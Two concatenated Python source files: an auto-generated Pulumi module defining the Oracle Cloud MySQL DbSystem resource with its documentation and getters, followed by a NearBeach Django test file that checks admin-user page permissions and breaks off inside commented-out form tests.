oci:mysql/mysqlDbSystem:MysqlDbSystem test_mysql_db_system "id" ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] admin_password: The password for the administrative user. The password must be between 8 and 32 characters long, and must contain at least 1 numeric character, 1 lowercase character, 1 uppercase character, and 1 special (nonalphanumeric) character. :param pulumi.Input[str] admin_username: The username for the administrative user. :param pulumi.Input[str] availability_domain: The availability domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input[pulumi.InputType['MysqlDbSystemBackupPolicyArgs']] backup_policy: (Updatable) Backup policy as optionally used for DB System Creation. :param pulumi.Input[str] compartment_id: The OCID of the compartment. :param pulumi.Input[str] configuration_id: The OCID of the Configuration to be used for this DB System. :param pulumi.Input[int] data_storage_size_in_gb: Initial size of the data volume in GBs that will be created and attached. Keep in mind that this only specifies the size of the database data volume, the log volume for the database will be scaled appropriately with its shape. It is required if you are creating a new database. It cannot be set if you are creating a database from a backup. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Usage of predefined tag keys. These predefined keys are scoped to namespaces. Example: `{"foo-namespace.bar-key": "value"}` :param pulumi.Input[str] description: (Updatable) User-provided data about the DB System. :param pulumi.Input[str] display_name: (Updatable) The user-friendly name for the DB System. It does not have to be unique. :param pulumi.Input[str] fault_domain: The fault domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}` :param pulumi.Input[str] hostname_label: The hostname for the primary endpoint of the DB System. Used for DNS. :param pulumi.Input[str] ip_address: The IP address the DB System is configured to listen on. A private IP address of your choice to assign to the primary endpoint of the DB System. Must be an available IP address within the subnet's CIDR. If you don't specify a value, Oracle automatically assigns a private IP address from the subnet. This should be a "dotted-quad" style IPv4 address. :param pulumi.Input[bool] is_highly_available: (Updatable) Specifies if the DB System is highly available. :param pulumi.Input[pulumi.InputType['MysqlDbSystemMaintenanceArgs']] maintenance: (Updatable) The Maintenance Policy for the DB System. `maintenance` and `backup_policy` cannot be updated in the same request. :param pulumi.Input[str] mysql_version: Name of the MySQL Version in use for the DB System. :param pulumi.Input[int] port: The port for primary endpoint of the DB System to listen on. :param pulumi.Input[int] port_x: The TCP network port on which X Plugin listens for connections. This is the X Plugin equivalent of port. :param pulumi.Input[str] shape_name: The name of the shape. The shape determines the resources allocated * CPU cores and memory for VM shapes; CPU cores, memory and storage for non-VM (or bare metal) shapes. To get a list of shapes, use the [ListShapes](https://docs.cloud.oracle.com/iaas/api/#/en/mysql/20190415/ShapeSummary/ListShapes) operation. :param pulumi.Input[str] shutdown_type: It is applicable only for stopping a DB System. Could be set to `FAST`, `SLOW` or `IMMEDIATE`. Default value is `FAST`. :param pulumi.Input[pulumi.InputType['MysqlDbSystemSourceArgs']] source: Parameters detailing how to provision the initial data of the system. :param pulumi.Input[str] state: (Updatable) The target state for the DB System. Could be set to `ACTIVE` or `INACTIVE`. :param pulumi.Input[str] subnet_id: The OCID of the subnet the DB System is associated with. """ ... @overload def __init__(__self__, resource_name: str, args: MysqlDbSystemArgs, opts: Optional[pulumi.ResourceOptions] = None): """ This resource provides the Mysql Db System resource in Oracle Cloud Infrastructure MySQL Database service. Creates and launches a DB System. ## Example Usage ```python import pulumi import pulumi_oci as oci test_mysql_db_system = oci.mysql.MysqlDbSystem("testMysqlDbSystem", admin_password=var["mysql_db_system_admin_password"], admin_username=var["mysql_db_system_admin_username"], availability_domain=var["mysql_db_system_availability_domain"], compartment_id=var["compartment_id"], shape_name=var["mysql_shape_name"], subnet_id=oci_core_subnet["test_subnet"]["id"], backup_policy=oci.mysql.MysqlDbSystemBackupPolicyArgs( defined_tags={ "foo-namespace.bar-key": "value", }, freeform_tags={ "bar-key": "value", }, is_enabled=var["mysql_db_system_backup_policy_is_enabled"], retention_in_days=var["mysql_db_system_backup_policy_retention_in_days"], window_start_time=var["mysql_db_system_backup_policy_window_start_time"], ), configuration_id=oci_audit_configuration["test_configuration"]["id"], data_storage_size_in_gb=var["mysql_db_system_data_storage_size_in_gb"], defined_tags={ "foo-namespace.bar-key": "value", }, description=var["mysql_db_system_description"], display_name=var["mysql_db_system_display_name"], fault_domain=var["mysql_db_system_fault_domain"], freeform_tags={ "bar-key": "value", }, hostname_label=var["mysql_db_system_hostname_label"], ip_address=var["mysql_db_system_ip_address"], is_highly_available=var["mysql_db_system_is_highly_available"], maintenance=oci.mysql.MysqlDbSystemMaintenanceArgs( window_start_time=var["mysql_db_system_maintenance_window_start_time"], ), port=var["mysql_db_system_port"], port_x=var["mysql_db_system_port_x"], source=oci.mysql.MysqlDbSystemSourceArgs( source_type=var["mysql_db_system_source_source_type"], backup_id=oci_mysql_mysql_backup["test_backup"]["id"], )) ``` ## Import MysqlDbSystems can be imported using the `id`, e.g. ```sh $ pulumi import oci:mysql/mysqlDbSystem:MysqlDbSystem test_mysql_db_system "id" ``` :param str resource_name: The name of the resource. :param MysqlDbSystemArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(MysqlDbSystemArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, admin_password: Optional[pulumi.Input[str]] = None, admin_username: Optional[pulumi.Input[str]] = None, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemBackupPolicyArgs']]] = None, compartment_id: Optional[pulumi.Input[str]] = None, configuration_id: Optional[pulumi.Input[str]] = None, data_storage_size_in_gb: Optional[pulumi.Input[int]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, description: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, fault_domain: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, hostname_label: Optional[pulumi.Input[str]] = None, ip_address: Optional[pulumi.Input[str]] = None, is_highly_available: Optional[pulumi.Input[bool]] = None, maintenance: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemMaintenanceArgs']]] = None, mysql_version: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None, port_x: Optional[pulumi.Input[int]] = None, shape_name: Optional[pulumi.Input[str]] = None, shutdown_type: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemSourceArgs']]] = None, state: Optional[pulumi.Input[str]] = None, subnet_id: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = MysqlDbSystemArgs.__new__(MysqlDbSystemArgs) if admin_password is None and not opts.urn: raise TypeError("Missing required property 'admin_password'") __props__.__dict__["admin_password"] = admin_password if admin_username is None and not opts.urn: raise TypeError("Missing required property 'admin_username'") __props__.__dict__["admin_username"] = admin_username if availability_domain is None and not opts.urn: raise TypeError("Missing required property 'availability_domain'") __props__.__dict__["availability_domain"] = availability_domain __props__.__dict__["backup_policy"] = backup_policy if compartment_id is None and not opts.urn: raise TypeError("Missing required property 'compartment_id'") __props__.__dict__["compartment_id"] = compartment_id __props__.__dict__["configuration_id"] = configuration_id __props__.__dict__["data_storage_size_in_gb"] = data_storage_size_in_gb __props__.__dict__["defined_tags"] = defined_tags __props__.__dict__["description"] = description __props__.__dict__["display_name"] = display_name __props__.__dict__["fault_domain"] = fault_domain __props__.__dict__["freeform_tags"] = freeform_tags __props__.__dict__["hostname_label"] = hostname_label __props__.__dict__["ip_address"] = ip_address __props__.__dict__["is_highly_available"] = is_highly_available __props__.__dict__["maintenance"] = maintenance if mysql_version is not None and not opts.urn: warnings.warn("""The 'mysql_version' field has been deprecated and may be removed in a future version. Do not use this field.""", DeprecationWarning) pulumi.log.warn("""mysql_version is deprecated: The 'mysql_version' field has been deprecated and may be removed in a future version. Do not use this field.""") __props__.__dict__["mysql_version"] = mysql_version __props__.__dict__["port"] = port __props__.__dict__["port_x"] = port_x if shape_name is None and not opts.urn: raise TypeError("Missing required property 'shape_name'") __props__.__dict__["shape_name"] = shape_name __props__.__dict__["shutdown_type"] = shutdown_type __props__.__dict__["source"] = source __props__.__dict__["state"] = state if subnet_id is None and not opts.urn: raise TypeError("Missing required property 'subnet_id'") __props__.__dict__["subnet_id"] = subnet_id __props__.__dict__["analytics_cluster"] = None __props__.__dict__["channels"] = None __props__.__dict__["current_placement"] = None __props__.__dict__["endpoints"] = None __props__.__dict__["heat_wave_cluster"] = None __props__.__dict__["is_analytics_cluster_attached"] = None __props__.__dict__["is_heat_wave_cluster_attached"] = None __props__.__dict__["lifecycle_details"] = None __props__.__dict__["time_created"] = None __props__.__dict__["time_updated"] = None super(MysqlDbSystem, __self__).__init__( 'oci:mysql/mysqlDbSystem:MysqlDbSystem', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, admin_password: Optional[pulumi.Input[str]] = None, admin_username: Optional[pulumi.Input[str]] = None, analytics_cluster: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemAnalyticsClusterArgs']]] = None, availability_domain: Optional[pulumi.Input[str]] = None, backup_policy: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemBackupPolicyArgs']]] = None, channels: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['MysqlDbSystemChannelArgs']]]]] = None, compartment_id: Optional[pulumi.Input[str]] = None, configuration_id: Optional[pulumi.Input[str]] = None, current_placement: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemCurrentPlacementArgs']]] = None, data_storage_size_in_gb: Optional[pulumi.Input[int]] = None, defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, description: Optional[pulumi.Input[str]] = None, display_name: Optional[pulumi.Input[str]] = None, endpoints: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['MysqlDbSystemEndpointArgs']]]]] = None, fault_domain: Optional[pulumi.Input[str]] = None, freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, heat_wave_cluster: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemHeatWaveClusterArgs']]] = None, hostname_label: Optional[pulumi.Input[str]] = None, ip_address: Optional[pulumi.Input[str]] = None, is_analytics_cluster_attached: Optional[pulumi.Input[bool]] = None, is_heat_wave_cluster_attached: Optional[pulumi.Input[bool]] = None, is_highly_available: Optional[pulumi.Input[bool]] = None, lifecycle_details: Optional[pulumi.Input[str]] = None, maintenance: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemMaintenanceArgs']]] = None, mysql_version: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None, port_x: Optional[pulumi.Input[int]] = None, shape_name: Optional[pulumi.Input[str]] = None, shutdown_type: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[pulumi.InputType['MysqlDbSystemSourceArgs']]] = None, state: Optional[pulumi.Input[str]] = None, subnet_id: Optional[pulumi.Input[str]] = None, time_created: Optional[pulumi.Input[str]] = None, time_updated: Optional[pulumi.Input[str]] = None) -> 'MysqlDbSystem': """ Get an existing MysqlDbSystem resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] admin_password: The password for the administrative user. The password must be between 8 and 32 characters long, and must contain at least 1 numeric character, 1 lowercase character, 1 uppercase character, and 1 special (nonalphanumeric) character. :param pulumi.Input[str] admin_username: The username for the administrative user. :param pulumi.Input[pulumi.InputType['MysqlDbSystemAnalyticsClusterArgs']] analytics_cluster: DEPRECATED -- please use HeatWave API instead. A summary of an Analytics Cluster. :param pulumi.Input[str] availability_domain: The availability domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input[pulumi.InputType['MysqlDbSystemBackupPolicyArgs']] backup_policy: (Updatable) Backup policy as optionally used for DB System Creation. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['MysqlDbSystemChannelArgs']]]] channels: A list with a summary of all the Channels attached to the DB System. :param pulumi.Input[str] compartment_id: The OCID of the compartment. :param pulumi.Input[str] configuration_id: The OCID of the Configuration to be used for this DB System. :param pulumi.Input[pulumi.InputType['MysqlDbSystemCurrentPlacementArgs']] current_placement: The availability domain and fault domain a DB System is placed in. :param pulumi.Input[int] data_storage_size_in_gb: Initial size of the data volume in GBs that will be created and attached. Keep in mind that this only specifies the size of the database data volume, the log volume for the database will be scaled appropriately with its shape. It is required if you are creating a new database. It cannot be set if you are creating a database from a backup. :param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Usage of predefined tag keys. These predefined keys are scoped to namespaces. Example: `{"foo-namespace.bar-key": "value"}` :param pulumi.Input[str] description: (Updatable) User-provided data about the DB System. :param pulumi.Input[str] display_name: (Updatable) The user-friendly name for the DB System. It does not have to be unique. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['MysqlDbSystemEndpointArgs']]]] endpoints: The network endpoints available for this DB System. :param pulumi.Input[str] fault_domain: The fault domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. :param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}` :param pulumi.Input[pulumi.InputType['MysqlDbSystemHeatWaveClusterArgs']] heat_wave_cluster: A summary of a HeatWave cluster. :param pulumi.Input[str] hostname_label: The hostname for the primary endpoint of the DB System. Used for DNS. :param pulumi.Input[str] ip_address: The IP address the DB System is configured to listen on. A private IP address of your choice to assign to the primary endpoint of the DB System. Must be an available IP address within the subnet's CIDR. If you don't specify a value, Oracle automatically assigns a private IP address from the subnet. This should be a "dotted-quad" style IPv4 address. :param pulumi.Input[bool] is_analytics_cluster_attached: DEPRECATED -- please use `isHeatWaveClusterAttached` instead. If the DB System has an Analytics Cluster attached. :param pulumi.Input[bool] is_heat_wave_cluster_attached: If the DB System has a HeatWave Cluster attached. :param pulumi.Input[bool] is_highly_available: (Updatable) Specifies if the DB System is highly available. :param pulumi.Input[str] lifecycle_details: Additional information about the current lifecycleState. :param pulumi.Input[pulumi.InputType['MysqlDbSystemMaintenanceArgs']] maintenance: (Updatable) The Maintenance Policy for the DB System. `maintenance` and `backup_policy` cannot be updated in the same request. :param pulumi.Input[str] mysql_version: Name of the MySQL Version in use for the DB System. :param pulumi.Input[int] port: The port for primary endpoint of the DB System to listen on. :param pulumi.Input[int] port_x: The TCP network port on which X Plugin listens for connections. This is the X Plugin equivalent of port. :param pulumi.Input[str] shape_name: The name of the shape. The shape determines the resources allocated * CPU cores and memory for VM shapes; CPU cores, memory and storage for non-VM (or bare metal) shapes. To get a list of shapes, use the [ListShapes](https://docs.cloud.oracle.com/iaas/api/#/en/mysql/20190415/ShapeSummary/ListShapes) operation. :param pulumi.Input[str] shutdown_type: It is applicable only for stopping a DB System. Could be set to `FAST`, `SLOW` or `IMMEDIATE`. Default value is `FAST`. :param pulumi.Input[pulumi.InputType['MysqlDbSystemSourceArgs']] source: Parameters detailing how to provision the initial data of the system. :param pulumi.Input[str] state: (Updatable) The target state for the DB System. Could be set to `ACTIVE` or `INACTIVE`. :param pulumi.Input[str] subnet_id: The OCID of the subnet the DB System is associated with. :param pulumi.Input[str] time_created: The date and time the DB System was created. :param pulumi.Input[str] time_updated: The time the DB System was last updated. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _MysqlDbSystemState.__new__(_MysqlDbSystemState) __props__.__dict__["admin_password"] = admin_password __props__.__dict__["admin_username"] = admin_username __props__.__dict__["analytics_cluster"] = analytics_cluster __props__.__dict__["availability_domain"] = availability_domain __props__.__dict__["backup_policy"] = backup_policy __props__.__dict__["channels"] = channels __props__.__dict__["compartment_id"] = compartment_id __props__.__dict__["configuration_id"] = configuration_id __props__.__dict__["current_placement"] = current_placement __props__.__dict__["data_storage_size_in_gb"] = data_storage_size_in_gb __props__.__dict__["defined_tags"] = defined_tags __props__.__dict__["description"] = description __props__.__dict__["display_name"] = display_name __props__.__dict__["endpoints"] = endpoints __props__.__dict__["fault_domain"] = fault_domain __props__.__dict__["freeform_tags"] = freeform_tags __props__.__dict__["heat_wave_cluster"] = heat_wave_cluster __props__.__dict__["hostname_label"] = hostname_label __props__.__dict__["ip_address"] = ip_address __props__.__dict__["is_analytics_cluster_attached"] = is_analytics_cluster_attached __props__.__dict__["is_heat_wave_cluster_attached"] = is_heat_wave_cluster_attached __props__.__dict__["is_highly_available"] = is_highly_available __props__.__dict__["lifecycle_details"] = lifecycle_details __props__.__dict__["maintenance"] = maintenance __props__.__dict__["mysql_version"] = mysql_version __props__.__dict__["port"] = port __props__.__dict__["port_x"] = port_x __props__.__dict__["shape_name"] = shape_name __props__.__dict__["shutdown_type"] = shutdown_type __props__.__dict__["source"] = source __props__.__dict__["state"] = state __props__.__dict__["subnet_id"] = subnet_id __props__.__dict__["time_created"] = time_created __props__.__dict__["time_updated"] = time_updated return MysqlDbSystem(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="adminPassword") def admin_password(self) -> pulumi.Output[str]: """ The password for the administrative user. The password must be between 8 and 32 characters long, and must contain at least 1 numeric character, 1 lowercase character, 1 uppercase character, and 1 special (nonalphanumeric) character. """ return pulumi.get(self, "admin_password") @property @pulumi.getter(name="adminUsername") def admin_username(self) -> pulumi.Output[str]: """ The username for the administrative user. """ return pulumi.get(self, "admin_username") @property @pulumi.getter(name="analyticsCluster") def analytics_cluster(self) -> pulumi.Output['outputs.MysqlDbSystemAnalyticsCluster']: """ DEPRECATED -- please use HeatWave API instead. A summary of an Analytics Cluster. """ return pulumi.get(self, "analytics_cluster") @property @pulumi.getter(name="availabilityDomain") def availability_domain(self) -> pulumi.Output[str]: """ The availability domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. """ return pulumi.get(self, "availability_domain") @property @pulumi.getter(name="backupPolicy") def backup_policy(self) -> pulumi.Output['outputs.MysqlDbSystemBackupPolicy']: """ (Updatable) Backup policy as optionally used for DB System Creation. """ return pulumi.get(self, "backup_policy") @property @pulumi.getter def channels(self) -> pulumi.Output[Sequence['outputs.MysqlDbSystemChannel']]: """ A list with a summary of all the Channels attached to the DB System. """ return pulumi.get(self, "channels") @property @pulumi.getter(name="compartmentId") def compartment_id(self) -> pulumi.Output[str]: """ The OCID of the compartment. """ return pulumi.get(self, "compartment_id") @property @pulumi.getter(name="configurationId") def configuration_id(self) -> pulumi.Output[str]: """ The OCID of the Configuration to be used for this DB System. """ return pulumi.get(self, "configuration_id") @property @pulumi.getter(name="currentPlacement") def current_placement(self) -> pulumi.Output['outputs.MysqlDbSystemCurrentPlacement']: """ The availability domain and fault domain a DB System is placed in. """ return pulumi.get(self, "current_placement") @property @pulumi.getter(name="dataStorageSizeInGb") def data_storage_size_in_gb(self) -> pulumi.Output[int]: """ Initial size of the data volume in GBs that will be created and attached. Keep in mind that this only specifies the size of the database data volume, the log volume for the database will be scaled appropriately with its shape. It is required if you are creating a new database. It cannot be set if you are creating a database from a backup. """ return pulumi.get(self, "data_storage_size_in_gb") @property @pulumi.getter(name="definedTags") def defined_tags(self) -> pulumi.Output[Mapping[str, Any]]: """ (Updatable) Usage of predefined tag keys. These predefined keys are scoped to namespaces. Example: `{"foo-namespace.bar-key": "value"}` """ return pulumi.get(self, "defined_tags") @property @pulumi.getter def description(self) -> pulumi.Output[str]: """ (Updatable) User-provided data about the DB System. """ return pulumi.get(self, "description") @property @pulumi.getter(name="displayName") def display_name(self) -> pulumi.Output[str]: """ (Updatable) The user-friendly name for the DB System. It does not have to be unique. """ return pulumi.get(self, "display_name") @property @pulumi.getter def endpoints(self) -> pulumi.Output[Sequence['outputs.MysqlDbSystemEndpoint']]: """ The network endpoints available for this DB System. """ return pulumi.get(self, "endpoints") @property @pulumi.getter(name="faultDomain") def fault_domain(self) -> pulumi.Output[str]: """ The fault domain on which to deploy the Read/Write endpoint. This defines the preferred primary instance. """ return pulumi.get(self, "fault_domain") @property @pulumi.getter(name="freeformTags") def freeform_tags(self) -> pulumi.Output[Mapping[str, Any]]: """ (Updatable) Simple key-value pair applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}` """ return pulumi.get(self, "freeform_tags") @property @pulumi.getter(name="heatWaveCluster") def heat_wave_cluster(self) -> pulumi.Output['outputs.MysqlDbSystemHeatWaveCluster']: """ A summary of a HeatWave cluster. """ return pulumi.get(self, "heat_wave_cluster") @property @pulumi.getter(name="hostnameLabel") def hostname_label(self) -> pulumi.Output[str]: """ The hostname for the primary endpoint of the DB System. Used for DNS. """ return pulumi.get(self, "hostname_label") @property @pulumi.getter(name="ipAddress") def ip_address(self) -> pulumi.Output[str]: """ The IP address the DB System is configured to listen on. A private IP address of your choice to assign to the primary endpoint of the DB System. Must be an available IP address within the subnet's CIDR. If you don't specify a value, Oracle automatically assigns a private IP address from the subnet. This should be a "dotted-quad" style IPv4 address. """ return pulumi.get(self, "ip_address") @property @pulumi.getter(name="isAnalyticsClusterAttached") def is_analytics_cluster_attached(self) -> pulumi.Output[bool]: """ DEPRECATED -- please use `isHeatWaveClusterAttached` instead. If the DB System has an Analytics Cluster attached. """ return pulumi.get(self, "is_analytics_cluster_attached") @property @pulumi.getter(name="isHeatWaveClusterAttached") def is_heat_wave_cluster_attached(self) -> pulumi.Output[bool]: """ If the DB System has a HeatWave Cluster attached. """ return pulumi.get(self, "is_heat_wave_cluster_attached") @property @pulumi.getter(name="isHighlyAvailable") def is_highly_available(self) -> pulumi.Output[bool]: """ (Updatable) Specifies if the DB System is highly available. """ return pulumi.get(self, "is_highly_available") @property @pulumi.getter(name="lifecycleDetails") def lifecycle_details(self) -> pulumi.Output[str]: """ Additional information about the current lifecycleState. """ return pulumi.get(self, "lifecycle_details") @property @pulumi.getter def maintenance(self) -> pulumi.Output['outputs.MysqlDbSystemMaintenance']: """ (Updatable) The Maintenance Policy for the DB System. `maintenance` and `backup_policy` cannot be updated in the same request. """ return pulumi.get(self, "maintenance") @property @pulumi.getter(name="mysqlVersion") def mysql_version(self) -> pulumi.Output[str]: """ Name of the MySQL Version in use for the DB System. """ return pulumi.get(self, "mysql_version") @property @pulumi.getter def port(self) -> pulumi.Output[int]: """ The port for primary endpoint of the DB System to listen on. """ return pulumi.get(self, "port") @property @pulumi.getter(name="portX") def port_x(self) -> pulumi.Output[int]: """ The TCP network port on which X Plugin listens for connections. This is the X Plugin equivalent of port. """ return pulumi.get(self, "port_x") @property @pulumi.getter(name="shapeName") def shape_name(self) -> pulumi.Output[str]: """ The name of the shape. The shape determines the resources allocated * CPU cores and memory for VM shapes; CPU cores, memory and storage for non-VM (or bare metal) shapes. To get a list of shapes, use the [ListShapes](https://docs.cloud.oracle.com/iaas/api/#/en/mysql/20190415/ShapeSummary/ListShapes) operation. """ return pulumi.get(self, "shape_name") @property @pulumi.getter(name="shutdownType") def shutdown_type(self) -> pulumi.Output[Optional[str]]: """ It is applicable only for stopping a DB System. Could be set to `FAST`, `SLOW` or `IMMEDIATE`. Default value is `FAST`. """ return pulumi.get(self, "shutdown_type") @property @pulumi.getter def source(self) -> pulumi.Output['outputs.MysqlDbSystemSource']: """ Parameters detailing how to provision the initial data of the system. """ return pulumi.get(self, "source") @property @pulumi.getter def state(self) -> pulumi.Output[str]: """ (Updatable) The target state for the DB System. Could be set to `ACTIVE` or `INACTIVE`. """ return pulumi.get(self, "state") @property @pulumi.getter(name="subnetId") def subnet_id(self) -> pulumi.Output[str]: """ The OCID of the subnet the DB System is associated with. """ return pulumi.get(self, "subnet_id") @property @pulumi.getter(name="timeCreated") def time_created(self) -> pulumi.Output[str]: """ The date and time the DB System was created. """ return pulumi.get(self, "time_created") @property @pulumi.getter(name="timeUpdated") def time_updated(self) -> pulumi.Output[str]: """ The time the DB System was last updated. """ return pulumi.get(self, "time_updated")

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null

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b8ad984c14225235db0101678fc68a00b63c1abf

11,096

py

Python

NearBeach/tests/tests_user_permissions/test_admin_only.py

raulrusu88/NearBeach

e65c8c27aa3969ac6f56a2f970776994a65771b5

[ "MIT" ]

94

2017-02-11T01:06:21.000Z

2022-03-04T06:17:22.000Z

NearBeach/tests/tests_user_permissions/test_admin_only.py

raulrusu88/NearBeach

e65c8c27aa3969ac6f56a2f970776994a65771b5

[ "MIT" ]

37

2017-02-21T12:07:57.000Z

2022-02-23T10:45:20.000Z

NearBeach/tests/tests_user_permissions/test_admin_only.py

raulrusu88/NearBeach

e65c8c27aa3969ac6f56a2f970776994a65771b5

[ "MIT" ]

26

2018-09-11T00:33:21.000Z

2022-02-09T10:38:07.000Z

from django.contrib.auth.models import User from django.test import TestCase, Client from django.urls import reverse # Declaration of Username and Password username = 'admin' password = 'Test1234$' def login_user(c: object, self: object) -> object: response = c.post( reverse('login'), self.credentials, follow=True, ) self.assertTrue(response.context['user'].is_active) class CustomerPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } def test_customer_permissions(self): c = Client() # User will be logged in login_user(c, self) # Go to an existing customer -> user should have access response = c.get(reverse('customer_information', args=['1'])) self.assertEqual(response.status_code, 200) def test_customer_save_permissions(self): c = Client() # User will be logged in login_user(c, self) # Send a POST request to new_customer -> user should NOT be able to save response = c.post( reverse('customer_information_save', args=['1']), data={ 'customer_title': 1, 'customer_first_name': 'NearBeach', 'customer_last_name': 'Support', 'customer_email': 'support@nearbeach.org', 'organisation': 1, }, ) self.assertEqual(response.status_code, 200) def test_new_customer_permission(self): c = Client() # user will be logged in login_user(c, self) # Go to create a new customer -> user should NOT have access response = c.get(reverse('new_customer')) self.assertEqual(response.status_code, 200) class KanbanPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } def test_kanban_information(self): c = Client() # user will be logged in login_user(c, self) # Go to an existing kanban board response = c.get(reverse('kanban_information', args=['1'])) self.assertEqual(response.status_code, 200) # Go to an existing kanban board where user is not in group -> permission denied response = c.get(reverse('kanban_information', args=['2'])) self.assertEqual(response.status_code, 200) class OrganisationPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } class ProjectPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } def test_project_permissions(self): c = Client() # User will be logged in login_user(c, self) # Make sure the admin user can open up the project response = c.get(reverse('project_information', args=['1'])) self.assertEqual(response.status_code, 200) # Make sure the admin user can open up the task response = c.get(reverse('task_information', args=['2'])) self.assertEqual(response.status_code, 200) class RFCPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } class RequirementPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } class RequirementItemPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } class TaskPermissionTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } def test_task_permissions(self): c = Client() # User will be logged in login_user(c, self) # Make sure the admin user can open up the task response = c.get(reverse('task_information', args=['1'])) self.assertEqual(response.status_code, 200) # Make sure the admin user can open up the project response = c.get(reverse('task_information', args=['2'])) self.assertEqual(response.status_code, 200) class AdministrationTest(TestCase): fixtures = ['NearBeach_basic_setup.json'] def setUp(self): self.credentials = { 'username': username, 'password': password } def test_search_users(self): c = Client() # User will be logged in login_user(c, self) # Make sure the admin user can go to the /search/users panel response = c.get(reverse('search_user')) self.assertEqual(response.status_code, 200) # Send data to the backend response = c.post( reverse('search_user'), {'search': 'project'} ) self.assertEqual(response.status_code, 200) def test_admin_user_information(self): c = Client() # User will be logged in login_user(c, self) # Make sure the admin user can go to the user/1 response = c.get(reverse('user_information', args=[2])) self.assertEqual(response.status_code, 200) # Make sure the admin user can save information response = c.post( reverse('user_information_save', args=[2]), { 'first_name': 'Team', 'last_name': 'Leader', 'email': 'support@nearbeach.org', 'is_active': True, 'is_superuser': False, } ) self.assertEqual(response.status_code, 200) def test_bad_user_information_forms(self): c = Client() # User will be logged in login_user(c, self) # Make sure the admin user can go to the user/1 _ = c.get(reverse('user_information', args=[2])) # The following tests will make sure the user can't submit bad forms # Blank First name #response = c.post( # reverse('user_information_save', args=[2]), # { # 'first_name': '', # 'last_name': 'Name', # 'email': 'support@nearbeach.org', # 'is_active': True, # 'is_superuser': False, # } #) #self.assertEqual(response.status_code, 400) # Blank Lastname #response = c.post( # reverse('user_information_save', args=[2]), # { # 'first_name': 'First', # 'last_name': '', # 'email': 'support@nearbeach.org', # } #) #self.assertEqual(response.status_code, 400) # Blank Email #response = c.post( # reverse('user_information_save', args=[2]), # { # 'first_name': 'First', # 'last_name': 'Name', # 'email': '', # } #) #self.assertEqual(response.status_code, 400) # Blank Passwords #response = c.post( # reverse('user_information_save', args=[2]), # { # 'first_name': 'First', # 'last_name': 'Name', # 'email': 